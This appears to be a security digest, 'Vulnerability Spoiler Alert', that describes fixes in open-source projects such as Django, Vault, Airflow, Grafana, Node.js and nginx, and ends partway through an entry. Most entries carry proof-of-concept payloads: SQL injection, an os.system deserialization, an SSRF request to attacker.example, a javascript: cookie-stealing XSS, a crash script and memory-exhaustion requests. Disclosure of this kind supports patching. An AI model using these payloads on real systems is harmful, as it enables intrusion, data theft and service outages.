📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Tuesday, September 1, 2026

📋 Today’s Briefing

637
Total Findings
182
Confirmed CVEs
361
Verified
6
Unverified
88
False Positives
CRITICAL: 11 HIGH: 328 MEDIUM: 184 LOW: 26
182 CVE matched
143 found before CVE
22 avg lead (days)
126 max lead (days)

⚠️ MEDIUM VERIFIED Authorization Bypass / Improper Access Control

Aug 6, 2026, 09:44 AM — openclaw/openclaw

Commit: 818190bd26d82586e37b0e8efc8bfe9b809acda9

Author: Pavan Kumar Gondhi

The plugin-node capability authorizer only checked whether a capability token existed and was unexpired, without checking if the owning client had already been invalidated (e.g., removed by an operator). This allowed a removed node's already-issued capability URL to continue authorizing Canvas HTTP requests during the window between invalidation and full connection teardown, since the invalidated client remained in the clients set and its capability entry was still matched.

🔍 View Affected Code & PoC

Affected Code

for (const client of params.clients) {
    const entry = client.pluginNodeCapabilities?.[storageKey];
    if (!entry || !isFutureDateTimestampMs(entry.expiresAtMs, { nowMs })) {
      continue;
    }

Proof of Concept

1. Node connects and receives a Canvas capability URL, e.g. http://gateway/__openclaw__/cap/<token>/__openclaw__/canvas/file.txt.
2. Operator removes the node, setting client.invalidated = true, but the WS connection close is still pending (client remains in the clients Set).
3. Before the patch, an attacker (or the still-connected node) sends GET http://gateway/__openclaw__/cap/<token>/__openclaw__/canvas/file.txt and receives 200 with the Canvas content, because hasAuthorizedPluginNodeCapability only checks expiresAtMs and ignores client.invalidated.
4. After the patch, the same request returns 401 immediately because invalidated clients are skipped in the authorization loop.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-66421 Broken Access Control / Authorization Bypass (Cross-Context Restriction Bypass)

Aug 6, 2026, 09:08 AM — openclaw/openclaw

Patch landed 6 days 8 hours 38 minutes after CVE published

Commit: 528c5e08175fda0606590c8795330349bddc6858

Author: Pavan Kumar Gondhi

Feishu's message-action contract did not declare its native camel-case/snake-case chat identifier fields (chatId, chat_id, channel_id) as delivery targets for the edit, pin, and unpin actions. Because the shared cross-context policy engine only inspects declared delivery-target aliases, operators using these native Feishu fields could bypass the configured 'disable within-provider cross-context messaging' restriction and perform message mutations against a chat/conversation different from the current context.

🔍 View Affected Code & PoC

Affected Code

export const messageActionTargetAliases = {
  read: { aliases: ["messageId"] },
  pin: { aliases: ["messageId"] },
  unpin: { aliases: ["messageId"] },
  ...
};

Proof of Concept

With config tools.message.crossContext.allowWithinProvider=false and toolContext.currentChannelId='oc_current', call runMessageAction with action='pin' (or 'unpin'/'edit') and params={ channel: 'actionhub', messageId: 'om_pin', chatId: 'oc_foreign' }. Before the patch, because 'chatId' was not declared as a deliveryTargetAlias for pin/unpin, the cross-context guard never inspected it, so the pin action against a foreign chat 'oc_foreign' (different from the current conversation) would succeed instead of being rejected with 'Cross-context messaging denied'.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-15920 Broken Access Control / Improper Authorization

Aug 6, 2026, 08:41 AM — django/django

Patch landed 1 day 14 hours 10 minutes after CVE published

Commit: 89e82866dc2746383c336c7b10e050b9da3ae1ef

Author: Jakob Friedrich

When using Django admin's 'save as new' functionality, inline formsets for related models where the user lacks add permission (but has view permission) could be rendered as editable/populated forms upon a validation error re-render, because the total/initial form counts were not cleared before instantiating the formset. This allowed a user without add permission on the inline model to potentially submit and persist changes to inline objects that they should only be able to view, effectively bypassing the permission check enforced elsewhere in the admin.

🔍 View Affected Code & PoC

Affected Code

formset_params = self.get_formset_kwargs(request, obj, inline, prefix)
formset = FormSet(**formset_params)

Proof of Concept

A user with view-only permission on an inline model (e.g., Article under Section) but without add permission triggers a save-as-new POST that fails parent validation (e.g., submitting empty 'name' field) while including inline formset management data such as 'article_set-TOTAL_FORMS=1' and 'article_set-INITIAL_FORMS=1'. Because the code did not zero out these counts based on the add-permission check, the re-rendered formset shows editable inline forms with existing data, allowing an attacker to craft further POST requests that modify or add inline objects despite lacking add permission on that inline.

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak)

Aug 6, 2026, 03:38 AM — openclaw/openclaw

Commit: ab74723229b98b9df04f1d7b45f03e58d7ef5846

Author: Alix-007

When a proxy or upstream server reflected the Discord bot's Authorization header value back in an error response (either HTML/text or JSON body), the raw bot token would be included unredacted in the error message surfaced to users/logs. This could expose the bot credential to anyone who could view logs, error output, or troubleshooting UI. The patch adds redaction of the token via redactToolPayloadText before formatting the final error text and before summarizing HTML bodies.

🔍 View Affected Code & PoC

Affected Code

function formatDiscordApiErrorText(text: string, response: Response): string | undefined {
  const trimmed = text.trim();
  ...
  return retryAfter ? `${message} (retry after ${retryAfter})` : message;
}

Proof of Concept

Set up a malicious/misconfigured proxy that echoes the Authorization header back in its error response, e.g. respond with body: `<html><body>proxy failure Authorization: Bot proof-prefix-discord-loopback-secret-proof-suffix; request rejected</body></html>` on a 502. Before the patch, calling requestDiscord('/gateway/bot', token, ...) would produce an error message containing the full bot token string in plaintext (visible in logs/console), e.g. 'Discord API /gateway/bot failed (502): proxy failure Authorization: Bot proof-prefix-discord-loopback-secret-proof-suffix; request rejected'. After the patch, the token is redacted so the leaked secret does not appear in the error text.

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak)

Aug 5, 2026, 08:20 PM — langchain-ai/langchain

Commit: 3e871a148d7bb6f542f4c2328523a57b8dff0afe

Author: John Kennedy

The evaluation runner copied the Git remote URL verbatim into LangSmith run tags without stripping embedded credentials (userinfo) from HTTPS or SSH-style URLs. If a developer's local git remote contained an access token or password (e.g., `https://user:[email protected]/...`), that secret would be persisted and exposed in run metadata/tags, which may be visible to other users or logged systems. The patch adds sanitization that strips userinfo while preserving host/path identity, and fails closed (omitting the tag) for ambiguous or malformed URLs.

🔍 View Affected Code & PoC

Affected Code

for k, v in (project.metadata.get("git") or {}).items():
    tags.append(f"git:{k}={v}")

Proof of Concept

If a developer's git remote is configured as `https://alice:[email protected]/org/private-repo.git`, running `run_on_dataset(...)` would previously produce a run tag: `git:remote_url=https://alice:[email protected]/org/private-repo.git`, leaking the GitHub personal access token into LangSmith run tags visible to anyone with access to that evaluation run/project.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-17183 Broken Access Control / Improper Authorization

Aug 5, 2026, 11:25 AM — grafana/grafana

📈 Patch landed 14 days 7 hours 7 minutes before CVE published

Commit: 3e9bc31edb6b1346845c82b11f7494d08b7b7b7a

Author: Ezequiel Victorero

The ShortURL API authorizer allowed any authenticated user (including org role None) to update or patch the status subresource of any short URL object, regardless of ownership. This let non-privileged users, or even users with the lowest permission level, tamper with the status (e.g., lastSeenAt) field of short URLs belonging to other users/organizations, which the fix now restricts to admin-only access.

🔍 View Affected Code & PoC

Affected Code

case "update", "patch":
    if attr.GetSubresource() == "status" {
        return authorizer.DecisionAllow, "", nil
    }

Proof of Concept

As an authenticated user with OrgRole=None, send:
PATCH /apis/shorturl.grafana.app/v0alpha1/namespaces/{ns}/shorturls/{other-users-shorturl}/status
Body: {"status":{"lastSeenAt":"2099-01-01T00:00:00Z"}}
Before the patch this request is allowed by the authorizer for any authenticated user, letting a low-privileged user overwrite the status subresource of a short URL they do not own.

🔥 HIGH VERIFIED SQL Injection

Aug 5, 2026, 09:41 AM — hashicorp/vault

Commit: 04f9af145954fd0dd532267c9694a7ba1fbb0c06

Author: Vault Automation

The DisplayName field, which is user/token controlled (e.g., from token display names or OIDC/JWT claims), was passed unsanitized into database username templates used to generate credentials, allowing SQL metacharacters or malicious payloads to be injected into generated usernames sent to the database. The patch adds sanitizeDisplayName to strip all characters except alphanumerics, hyphens, and underscores before using DisplayName in the credential generation request, and adds a warning for username_template usage without truncation.

🔍 View Affected Code & PoC

Affected Code

newUserReq := v5.NewUserRequest{
    UsernameConfig: v5.UsernameMetadata{
        DisplayName: req.DisplayName,
        RoleName:    name,
    },

Proof of Concept

Create a Vault token with a display name containing SQL injection payload, e.g. `x'; DROP TABLE users; --`, then request database credentials via `vault read database/creds/my-role`. The unsanitized DisplayName is substituted into the username_template (e.g. `{{.DisplayName}}_{{random 8}}`) and passed to the DB plugin's CREATE USER statement, potentially breaking out of the intended SQL context and executing injected SQL against the backend database.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-66421 Denial of Service (Uncaught Exception)

Aug 5, 2026, 03:29 AM — openclaw/openclaw

Patch landed 5 days 2 hours 59 minutes after CVE published

Commit: 3bda007ca456ef2803c2a81fef24ba61c438a690

Author: Yuval Dinodia

The stdout data handler for MCP stdio child processes called ReadBuffer.append synchronously without a try/catch. When a server (or attacker-influenced tool-result payload) produces a stdout frame exceeding the 10MiB ReadBuffer cap, append() throws synchronously inside the event callback, resulting in an unhandled exception that crashes the entire host process and terminates all concurrent sessions. The patch wraps the append/processReadBuffer calls in a try/catch that routes errors to onerror and gracefully closes the transport instead of crashing.

🔍 View Affected Code & PoC

Affected Code

child.stdout?.on("data", (chunk: Buffer) => {
  this.readBuffer.append(chunk);
  this.processReadBuffer();
})

Proof of Concept

A malicious or compromised MCP stdio server (or one relaying attacker-controlled tool-result data, e.g., a large fetched web page or file content) writes more than 10,485,760 bytes to stdout before a newline delimiter. For example: `process.stdout.write(Buffer.alloc(10*1024*1024+1, 'A'))` from the child MCP server process. This causes `ReadBuffer.append` to throw 'ReadBuffer exceeded maximum size of 10485760 bytes' synchronously inside the 'data' event handler, which Node treats as an uncaughtException, crashing the entire OpenClaw host process and killing all concurrent user sessions.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-58076 Deserialization of Untrusted Data / Arbitrary Code Import

Aug 5, 2026, 02:25 AM — apache/airflow

📈 Patch landed 7 days 16 hours 6 minutes before CVE published

Commit: 3a08a3d7792335ac9456cd44c92d8de3ae0d6ec1

Author: Jarek Potiuk

The BaseSerialization.deserialize method used import_string() on an attacker-controlled class name embedded in serialized DAG blobs (AIRFLOW_EXC_SER/BASE_EXC_SER nodes) to reconstruct exception objects. Because import_string will import arbitrary modules and access arbitrary attributes by dotted name, a crafted serialized DAG could cause the deserializer to import and execute code from any importable module (including modules with import-time side effects, or builtins like eval/os.system), leading to code execution or unintended behavior when a malicious/tampered serialized DAG is loaded. The patch restricts resolution to already-loaded classes validated as AirflowException subclasses or a fixed builtin allow-list, preventing import of attacker-named modules/classes.

🔍 View Affected Code & PoC

Affected Code

if type_ == DAT.AIRFLOW_EXC_SER:
    exc_cls = import_string(exc_cls_name)
else:
    exc_cls = import_string(f"builtins.{exc_cls_name}")

Proof of Concept

Craft a serialized DAG object with a BASE_EXC_SER/AIRFLOW_EXC_SER node whose exc_cls_name is set to 'subprocess.check_output' or 'os.system' (or any module path with import-time side effects), e.g.:
encoded = BaseSerialization._encode(BaseSerialization.serialize({'exc_cls_name': 'os.system', 'args': ['id'], 'kwargs': {}}), type_=DagAttributeTypes.AIRFLOW_EXC_SER)
BaseSerialization.deserialize(encoded)
Before the patch, import_string('os.system') would import the os module and return system, which is then called as exc_cls(*args, **kwargs) i.e. os.system('id'), executing an arbitrary shell command when the malicious serialized DAG is deserialized.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-19197 Broken Access Control / Missing Authorization

Aug 4, 2026, 07:31 PM — grafana/grafana

📈 Patch landed 27 days 2 hours before CVE published

Commit: 2b64f5c1f9febba82cedb964431f404bc870abab

Author: Ezequiel Victorero

The previous authorizer for the ShortURL Kubernetes API allowed any authenticated user, regardless of org role, to perform any operation including list, watch, delete, deletecollection, and update on any short URL resource. This means a low-privileged user (e.g., org role None or Viewer) could list all short URLs in the org (exposing internal paths/links created by other users) or delete/modify short URLs belonging to other users, since there was no ownership or role check.

🔍 View Affected Code & PoC

Affected Code

if !attr.IsResourceRequest() {
    return authorizer.DecisionNoOpinion, "", nil
}
// Any authenticated user can access the API
return authorizer.DecisionAllow, "", nil

Proof of Concept

As a low-privileged authenticated user (org role Viewer or None), send: DELETE /apis/shorturl.grafana.app/v1beta1/namespaces/{ns}/shorturls/{uid-of-another-users-shorturl} or GET /apis/shorturl.grafana.app/v1beta1/namespaces/{ns}/shorturls (list) — both succeed pre-patch, allowing the low-privileged user to enumerate or delete short URLs created by other users despite lacking admin/editor rights.

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Information Disclosure

Aug 4, 2026, 05:48 PM — argoproj/argo-cd

Commit: 994e271bcc3c591540bbe778bf09df303dcbf5f7

Author: Peter Jiang

When performing a server-side diff on a Kubernetes Secret, the kubectl.kubernetes.io/last-applied-configuration annotation on the predicted-live (target) resource was not masked, even though the corresponding annotation on the live resource was hidden. Since this annotation can contain the full JSON representation of the applied Secret (including plaintext data values), it could leak secret contents in the diff output (e.g., displayed in Argo CD UI/CLI diffs or logs) even though HideSecretData was meant to redact secret values symmetrically.

🔍 View Affected Code & PoC

Affected Code

if live != nil && liveLastAppliedAnnotation != nil {
    ... mask live's last-applied-configuration ...
}
// target's last-applied-configuration annotation was never masked

Proof of Concept

Create a Secret with data: {password: 'supersecret'} and annotate it (or have it annotated by kubectl apply) with kubectl.kubernetes.io/last-applied-configuration containing the full secret JSON with data.password base64-encoded plaintext. Run Argo CD's server-side diff (serverSideDiff) between the desired config and live state where the predicted-live object retains this annotation. Before the patch, the resulting PredictedLive diff output would include the un-redacted last-applied-configuration annotation, exposing the base64 'supersecret' value to anyone viewing the diff (e.g., via `argocd app diff` or the UI), even though the same value in .data.password was masked with '++++++++'.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-66421 Information Disclosure / Access Control Bypass

Aug 4, 2026, 03:01 PM — openclaw/openclaw

Patch landed 4 days 14 hours 31 minutes after CVE published

Commit: d06fc25a0c580bb1854fd890e0d849270fbec487

Author: Vincent Koc

Shared group and channel chat sessions automatically loaded the workspace-root MEMORY.md file into the bootstrap context, exposing private long-term memory/context intended only for the main private session to all participants in a shared group or channel. Additionally, hooks could re-add or relabel the MEMORY.md file after initial filtering, bypassing session-type-based restrictions on private memory exposure. The patch enforces filtering of private memory files based on an authoritative chatType, re-applies the filter after hook mutations, and tracks file source identity to prevent relabeling/aliasing bypasses.

🔍 View Affected Code & PoC

Affected Code

// Before: MEMORY.md loaded unconditionally at bootstrap regardless of chat type
// resolveBootstrapFilesForRun did not accept/enforce chatType,
// and hooks executed after initial filtering could re-add root MEMORY.md
// or alias/relabel it to bypass any filtering that did occur.

Proof of Concept

In a shared Slack/Discord channel session (sessionKey like 'agent:main:slack:channel:c1'), the bootstrap resolver would load and inject the workspace-root MEMORY.md (containing private long-term memory) into the shared session context, exposing it to all members of the channel. E.g., a hook registered via agent:bootstrap could add {name: 'SOUL.md', path: workspaceDir/MEMORY.md} — relabeling MEMORY.md as SOUL.md — to bypass name-based filtering and leak private memory content into a group chat that any participant could read.

💡 LOW VERIFIED Null Pointer Dereference (Denial of Service)

Aug 4, 2026, 02:53 PM — keycloak/keycloak

Commit: bce3153aa26207c07ac936112f4f30364eac4176

Author: Stefan Guilhen

The PatchRequest.setSchemas() method did not handle a null value for the 'schemas' field, allowing an unauthenticated or authenticated attacker to send a SCIM PATCH request with "schemas": null to trigger a NullPointerException on the server, resulting in an unhandled 500 error instead of a proper validation error (400). This could be used for minor denial-of-service or availability disruption of the SCIM PATCH endpoint.

🔍 View Affected Code & PoC

Affected Code

public void setSchemas(Set<String> schemas) {
    this.schemas = schemas;
}

Proof of Concept

PATCH /realms/{realm}/scim/v2/Users/{id} HTTP/1.1
Content-Type: application/scim+json
Authorization: Bearer <token>

{"schemas": null, "Operations": [{"op": "replace", "path": "active", "value": false}]}

Before the patch, this request triggers a NullPointerException on the server (uncaught exception / 500 error) because the schemas field is set to null and later dereferenced. After the patch, the server returns a proper 400 Bad Request.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-66421 Uncontrolled Resource Consumption (Memory Exhaustion / DoS)

Aug 4, 2026, 01:29 PM — openclaw/openclaw

Patch landed 4 days 12 hours 59 minutes after CVE published

Commit: 00f3fb24693dd9f813344b5d580cf857339bf300

Author: Vincent Koc

The DiscordRealtimeVoiceSession queued completed 'exact speech' messages without any bound on count or size while provider readiness, an active response, or playback prevented delivery. A stalled or misbehaving session could accumulate an unbounded backlog of speech text in memory, leading to unbounded memory growth and eventual resource exhaustion, and could later flush a large stale backlog. The patch introduces a fixed budget (32 messages / 32 KiB) and terminates the session on overflow, clearing state to prevent unbounded growth.

🔍 View Affected Code & PoC

Affected Code

if (!this.bridgeReady || this.exactSpeechResponseActive || this.hasInterruptibleOutputAudio()) {
  this.queuedExactSpeechMessages.push(text);
  logger.info(

Proof of Concept

An attacker (or a stalled realtime provider) keeps a Discord voice session in a state where bridgeReady is false or exactSpeechResponseActive stays true indefinitely (e.g., by repeatedly triggering speech events while the provider never sends readiness/response-complete signals). Each incoming transcribed utterance calls the internal handler that unconditionally does `this.queuedExactSpeechMessages.push(text)` with no size/count cap. By continuously speaking or replaying audio into the channel for an extended period, the queue grows without bound (megabytes of text), consuming server memory indefinitely until the process OOMs or the stale backlog is dumped all at once when the session recovers.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-65017 Sensitive Information Disclosure

Aug 4, 2026, 01:19 PM — apache/airflow

📈 Patch landed 8 days 5 hours 11 minutes before CVE published

Commit: d41ac7b6d213682db3ef4d21bbb33e013dde4af4

Author: Jarek Potiuk

Configuration options registered as sensitive (like database connection strings with passwords) were only masked when queried under their base section name. Team-scoped overrides stored in `\[&lt;team&gt;=&lt;section&gt;\]` config sections or `AIRFLOW__&lt;TEAM&gt;___&lt;SECTION&gt;__&lt;KEY&gt;` environment variables bypassed the sensitivity check entirely, exposing secrets like database credentials in clear text via the config API and `as_dict()` output.

🔍 View Affected Code & PoC

Affected Code

if (section_l, option_l) in conf.sensitive_config_values or _is_per_key_sensitive_option(
    section_l, option_l
):
    value = "< hidden >"
else:
    value = conf.get(section, option)

Proof of Concept

Configure a team-scoped database override: set config section `[team_a=database]` with `sql_alchemy_conn = postgresql://user:secretpass@host/db`. Then query `GET /config/section/team_a=database/option/sql_alchemy_conn` via the Airflow API. Before the patch, the response returns the plaintext connection string with embedded password instead of `< hidden >`, because `(section_l, option_l)` = `("team_a=database", "sql_alchemy_conn")` never matches the base sensitive pair `("database", "sql_alchemy_conn")`.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-15307 Server-Side Request Forgery / Arbitrary File Write (SSRF/File Write via unsanitized raster input)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: f1949c1f9758947ade984c895ff16bef46f56520

Author: Jacob Walls

GeoDjango spatial lookups optimistically parsed lookup values as GDALRaster before falling back to GEOSGeometry parsing. Because GDALRaster's constructor could interact with GDAL virtual filesystem drivers regardless of the write=False flag, a malicious string or dict passed into a spatial lookup (e.g., via the Django admin's changelist filtering, which allows staff users to submit arbitrary lookups) could cause the server to write files to disk or issue network requests to attacker-controlled URLs. The patch blocks strings and dicts from being treated as raster input in lookup contexts unless explicitly wrapped in GDALRaster, closing the SSRF/file-write vector while preserving normal model field assignment behavior.

🔍 View Affected Code & PoC

Affected Code

def get_raster_prep_value(self, value, is_candidate):
    if isinstance(value, gdal.GDALRaster):
        return value
    elif is_candidate:
        try:
            return gdal.GDALRaster(value)
        except GDALException:
            pass

Proof of Concept

As a staff user with view permission on a model containing a RasterField/GeometryField, submit an admin changelist filter such as:

GET /admin/app/model/?field__contains={"driver":"HTTP","source":"http://attacker.example/malicious.tif"}

or a raw string path like:

GET /admin/app/model/?field__contains=/vsicurl/http://attacker.example/payload.tif

Before the patch, this dict/string would be passed to `gdal.GDALRaster(value)` during `get_prep_value`, causing GDAL to attempt to open/write the referenced raster (e.g., fetching from the attacker's server or writing a file to disk via certain drivers), even though the constructor requested write=False. After the patch, such strings/dicts are rejected with `DisallowedRasterLookup` unless explicitly wrapped by the caller in `GDALRaster(...)`.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-15337 Denial of Service (Memory Exhaustion via Unbounded Cache Key Size)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: 27137e655e442e81095f1f8f77ff3870d9fdf169

Author: Natalia

The check_for_language() function used an lru_cache with maxsize=1000, but did not limit the length of the lang_code strings used as cache keys. An attacker could submit many distinct, very long language codes (e.g., via the set_language() view's POST data), causing up to 1000 large strings to be retained in memory as cache keys, consuming excessive process memory. The patch adds a length check (max 500 characters) before the cached lookup, so long codes are rejected without being cached.

🔍 View Affected Code & PoC

Affected Code

@functools.lru_cache(maxsize=1000)
def check_for_language(lang_code):
    if lang_code is None or not language_code_re.search(lang_code):
        return False
    return any(...)

Proof of Concept

POST to django.views.i18n.set_language with 1000 distinct 'language' values each ~100KB long (e.g., 'a'*100000 + str(i) for i in range(1000)). Each unique value becomes a cache key in check_for_language's lru_cache, retaining ~100MB of string data in memory per worker process, potentially exhausting memory across multiple requests/workers.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-15830 Denial of Service (Uncontrolled Resource Consumption / Stack Exhaustion)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: d2e59b77fe18de318a8272c2a7bbc798d84d1d0d

Author: Jacob Walls

Before this patch, GEOSGeometry parsing (from WKT or WKB) had no limit on the depth or number of nested GEOMETRYCOLLECTION elements. Because GEOS parses these recursively, a maliciously crafted input with deeply nested geometry collections could exhaust the stack or memory and trigger a fatal error/crash in GEOS, effectively causing a denial of service in any application that accepts user-supplied geometry data (e.g., via GeometryField model/form fields). The patch introduces a `max_geom_collections` parameter, forwarded through GEOSGeometry, model fields, and form fields, to cap the depth (for WKT) or total count (for WKB) of nested collections before they reach the GEOS library.

🔍 View Affected Code & PoC

Affected Code

def __init__(self, geo_input, srid=None):
    ...
    g = self._from_wkt(force_bytes(wkt_m["wkt"]))
    ...
    g = wkb_r().read(force_bytes(wkb_input))

Proof of Concept

Submit a WKT string with thousands of nested GEOMETRYCOLLECTION wrappers to a Django application using a GeometryField, e.g.:
value = 'GEOMETRYCOLLECTION(' * 100000 + 'POINT(0 0)' + ')' * 100000
GEOSGeometry(value)
Prior to the patch, this unbounded recursive parsing could cause GEOS to crash with a stack overflow or fatal error, taking down the worker process handling the request (DoS). After the patch, GEOSGeometry(value, max_geom_collections=N) rejects such deeply nested input before it reaches GEOS, raising a ValueError instead of crashing.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-15920 Cross-Site Scripting (XSS)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: 47511a21026cdd721d8fbf8571cc079bc38bb46d

Author: Natalia

The Django admin's display_for_field() rendered URLField values as clickable &lt;a href&gt; links without validating the URL scheme. A stored value using a dangerous scheme like javascript: or data: would be rendered as a clickable link, and clicking it would execute arbitrary script in the authenticated admin session (staff user context).

🔍 View Affected Code & PoC

Affected Code

elif isinstance(field, models.URLField) and value and not avoid_link:
    return format_html('<a href="{}">{}</a>', value, value)

Proof of Concept

Store a URLField value of `javascript:alert(document.cookie)` (or `data:text/html,<script>alert(1)</script>`) in a model instance via a form that doesn't enforce standard URL validation (e.g., a custom form field, bulk import, or a field without full URLValidator applied at save time). When a staff user views the changelist or read-only change form for that object, the admin renders `<a href="javascript:alert(document.cookie)">javascript:alert(document.cookie)</a>`. Clicking that link executes the JavaScript in the authenticated admin session, allowing session hijacking or arbitrary actions as that staff user.

🔥 HIGH VERIFIED Use-After-Free

Jul 26, 2026, 01:43 AM — nodejs/node

Commit: d4d35c6363af31a52764d1fb63e8a99734226997

Author: Mohamed Sayed

The Session object held only a weak reference (BaseObjectWeakPtr) to its parent DatabaseSync. If the JavaScript DatabaseSync object was garbage collected (and its underlying sqlite3 database closed/freed) while a Session created from it was still alive, subsequent operations on the session (e.g., changeset()) would dereference the freed database pointer, causing a use-after-free and crash (SIGSEGV). The fix changes the reference to a strong BaseObjectPtr so the database is kept alive as long as the session exists.

🔍 View Affected Code & PoC

Affected Code

BaseObjectPtr<Session> session =
    Session::Create(env, BaseObjectWeakPtr<DatabaseSync>(db), pSession);
...
BaseObjectWeakPtr<DatabaseSync> database_;  // The Parent Database

Proof of Concept

const { DatabaseSync } = require('node:sqlite');
let session = (() => {
  const database = new DatabaseSync(':memory:');
  database.exec('CREATE TABLE data(key INTEGER PRIMARY KEY, value TEXT)');
  const s = database.createSession();
  database.exec("INSERT INTO data VALUES (1, 'hello')");
  return s; // database reference dropped here, only session remains
})();
global.gc(); // with --expose-gc, forces collection of the now-unreferenced DatabaseSync
session.changeset(); // dereferences freed sqlite3* -> SIGSEGV crash (before patch)

⚠️ MEDIUM VERIFIED Denial of Service (Reachable Assertion / CHECK-fail crash)

Jul 25, 2026, 02:40 PM — nodejs/node

Commit: 3e06d536a9c3425bc8691ad7bb30918b45e4ae75

Author: RajeshKumar11

StringBytes::StorageSize contained a CHECK that fatally aborted the process when a hex-encoded string of odd length was written via Writev (e.g. an HTTP request body written before it is corked/flushed). This allowed a remote or local attacker who can influence data written as 'hex' encoding through a batched write path to crash the Node.js process, resulting in a denial of service. The patch removes the CHECK and uses integer division, consistent with the non-crashing single-write path.

🔍 View Affected Code & PoC

Affected Code

case HEX:
  CHECK(view.length() % 2 == 0 && "invalid hex string length");
  data_size = view.length() / 2;
  break;

Proof of Concept

const http = require('http');
const req = http.request('http://example.org', { method: 'POST' });
req.write('1', 'hex'); // odd-length hex string triggers CHECK failure and crashes the process due to auto-corking in http.request

⚠️ MEDIUM VERIFIED Denial of Service (Resource Exhaustion / Memory Leak)

Jul 25, 2026, 06:21 AM — vercel/next.js

Commit: 770f15771f0fb891d8ee135c52c796d9d111304c

Author: Pete Hunt

When a client disconnects mid-response, the vendored compression middleware's zlib stream was never released because its cleanup only ran inside its own res.end() wrapper, which never executes on abrupt disconnects. Each aborted compressed response permanently pinned ~256 KiB of native zlib memory that survives garbage collection, allowing an attacker (or even normal bot/CDN traffic) to repeatedly open and abort requests, causing unbounded RSS growth until the server is OOM-killed.

🔍 View Affected Code & PoC

Affected Code

if (compress) {
  // @ts-expect-error not express req/res
  compress(req, res, () => {})
}
// no cleanup on premature close; zlib stream stays open and pinned

Proof of Concept

Repeatedly send HTTP requests with 'Accept-Encoding: gzip' to any Next.js route (with default compress: true), read only the first chunk of the response body, then abort the connection (e.g., using fetch with reader.cancel() after one read, or curl with --max-time set very low). Each aborted request leaks ~256 KiB of native zlib memory that is never freed. Repeating this a few thousand times (e.g., 300 requests per round over several rounds) causes RSS to grow linearly and unboundedly, eventually leading to an OOM kill of the Node.js process — a straightforward remote DoS against any publicly reachable Next.js server.

⚠️ MEDIUM VERIFIED Denial of Service (Unbounded Memory Allocation / OOM)

Jul 24, 2026, 10:06 PM — grafana/grafana

Commit: 9cf102aaec90028130866ca58231e27855253833

Author: Adam Yeats

The Graphite datasource read upstream /render responses and inbound resource-call request bodies fully into memory via io.ReadAll without any size limit. A malicious or compromised Graphite backend could return an extremely large (or decompression-bomb) response, or an authenticated user could send an oversized request body to a resource endpoint, forcing Grafana to allocate unbounded memory and crash the process (OOM). The patch adds configurable byte caps enforced via io.LimitReader and http.MaxBytesReader, rejecting oversized bodies with clear errors/HTTP 413.

🔍 View Affected Code & PoC

Affected Code

body, err := io.ReadAll(res.Body)
...
body, err := io.ReadAll(req.Body)
if err != nil {
    ...
}

Proof of Concept

1) Compromised/malicious Graphite backend returns a 10GB response body (or a small gzip-compressed body that decompresses to 10GB) for a /render query, causing Grafana's io.ReadAll(res.Body) to allocate unbounded memory and OOM-kill the process.
2) An authenticated user with resource-call access issues: `POST /api/datasources/uid/<ds-uid>/resources/metrics/find` with a request body of several GB (e.g., `curl -X POST --data-binary @(dd if=/dev/zero bs=1M count=5000) http://grafana/api/datasources/uid/<uid>/resources/metrics/find`), causing the unbounded io.ReadAll(req.Body) call to consume excessive memory before any size validation occurs.

🔥 HIGH VERIFIED Out-of-bounds Write (CWE-787)

Jul 24, 2026, 04:31 PM — nginx/nginx

Commit: 0cb3d7fb132558a02bbeada6542fd6c808b7af76

Author: Sourav Bhowmik

The ngx_select_module.c code only validated cycle-&gt;connection_n against FD_SETSIZE at config-init time, but did not verify the actual file descriptor value returned by the OS before calling FD_SET() in ngx_select_add_event(). Since local file descriptors (e.g., for open files, not just connections) are not counted in cycle-&gt;connection_n, the OS can assign a fd &gt;= FD_SETSIZE, causing FD_SET() to write beyond the bounds of the fixed-size fd_set bitmask, corrupting adjacent memory and potentially crashing or exploiting the worker process.

🔍 View Affected Code & PoC

Affected Code

if (event == NGX_READ_EVENT) {
    FD_SET(c->fd, &master_read_fd_set);
... (no check on c->fd against FD_SETSIZE before FD_SET)

Proof of Concept

On a system using the select() event method with worker_connections set near FD_SETSIZE (1024), force nginx to open many local files (e.g., via open_file_cache, static file serving, or logging) such that no connection slots are recycled and the OS eventually returns a file descriptor value >= 1024. When this fd is registered via ngx_select_add_event(), FD_SET(fd, &master_read_fd_set) writes past the bounds of the 1024-bit fd_set structure, corrupting adjacent static memory (master_write_fd_set, work_read_fd_set, etc.) and potentially crashing the worker or causing memory corruption exploitable for further attacks.

🔥 HIGH VERIFIED Use-After-Free / Memory Corruption

Jul 24, 2026, 03:42 PM — nginx/nginx

Commit: 5e0deb7018b06cdebafab5570b2e9fdf7c3f22de

Author: David Carlier

